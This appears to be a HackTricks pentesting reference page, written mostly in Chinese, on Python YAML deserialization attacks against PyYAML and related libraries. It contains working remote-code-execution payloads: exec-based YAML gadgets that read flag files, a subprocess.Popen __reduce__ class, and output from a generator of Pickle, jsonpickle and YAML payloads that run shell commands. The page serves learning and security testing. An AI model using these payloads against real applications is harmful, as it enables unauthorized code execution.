> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/deserialization/python-yaml-deserialization.md).

# Python Yaml Deserialization

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## Yaml **反序列化**

**Yaml** python库还能够**序列化python对象**，而不仅仅是原始数据：

```
print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```

检查一下**元组**不是原始数据类型，因此它被**序列化**。 同样的情况也发生在**range**（取自内置函数）上。

![](/files/IWzkfakp0zQHsmNs94MJ)

\*\*safe\_load()**或**safe\_load\_all()\*\*使用SafeLoader，**不支持类对象的反序列化**。 类对象的反序列化示例：

```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```

前面的代码使用**unsafe\_load**来加载序列化的Python类。这是因为在**版本 >= 5.1**中，它不允许**反序列化任何序列化的Python类或类属性**，如果在load()中未指定Loader或Loader=SafeLoader。

### 基本利用

执行**sleep**的示例：

```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```

### 未指定 Loader 的易受攻击的 .load("\<content>")

在加载内容时，**旧版本**的 pyyaml 存在反序列化攻击漏洞，如果你在加载时**没有指定 Loader**：`yaml.load(data)`

你可以在[**这里找到漏洞的描述**](https://hackmd.io/@defund/HJZajCVlP)**。** 该页面提出的**利用**是：

```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```

或者您也可以使用@ishaack提供的这个一行命令：

```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```

注意，在**最近的版本**中，您不能再调用`.load()`**而不使用`Loader`**，而\*\*`FullLoader`**对这种攻击**不再存在漏洞\*\*。

## RCE

可以使用Python YAML模块（如**PyYAML**或**ruamel.yaml**）创建自定义有效载荷。这些有效载荷可以利用系统中对未经适当消毒的输入进行反序列化的漏洞。

```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```

### 用于生成Payloads的工具

可以使用工具<https://github.com/j0lt-github/python-deserialization-attack-payload-generator>来生成Python反序列化Payloads，以滥用**Pickle, PyYAML, jsonpickle和ruamel.yaml:**

```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```

### 参考资料

* <https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf>
* <https://net-square.com/yaml-deserialization-attack-in-python.html>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式:

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* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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